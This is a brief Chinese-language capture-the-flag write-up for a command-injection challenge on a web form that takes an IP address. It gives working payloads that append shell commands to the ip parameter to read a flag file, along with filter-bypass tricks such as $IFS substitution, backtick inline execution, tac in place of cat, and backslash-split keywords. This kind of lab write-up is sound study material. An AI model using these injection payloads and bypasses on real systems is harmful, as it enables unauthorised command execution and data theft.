解题步骤:
1,尝试用输入一个正确的IP地址
2,发现是linux系统下的网站,尝试用|和ls
查看目录,列出文件
3,尝试查看flag文件,发现不能直接打开,且空格被过滤,原因:关键字被过滤
4,找到被过滤字符名单,尝试打开index.php
文件,发现过滤字符列表
5,尝试绕过
代码中有个 $a 考虑进行变量覆盖,构造如下 payload
?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
?ip=127.0.0.1;a=g,cat$IFS$1fla$a.php
或者另外一种方法:
内联输出:使用反引号 ``代替 |,经反引号的输出命令转换为输出构造playload
?ip=110.242.68.3;cat$IFS$9`ls`
总结:
1,如何看出是linux系统下的;
2,|
的作用
3,index.php
下有被过滤的字符的列表
4,如何绕过空格
linux下:
$IFS$任意数字
${
IFS}
,
<
<>
%20
%09
6、有时 cat 可能被过滤,那么尝试用 tac,反向输出;或者 linux命令中可以加 \,所以甚至可以 ca\t /fl\ag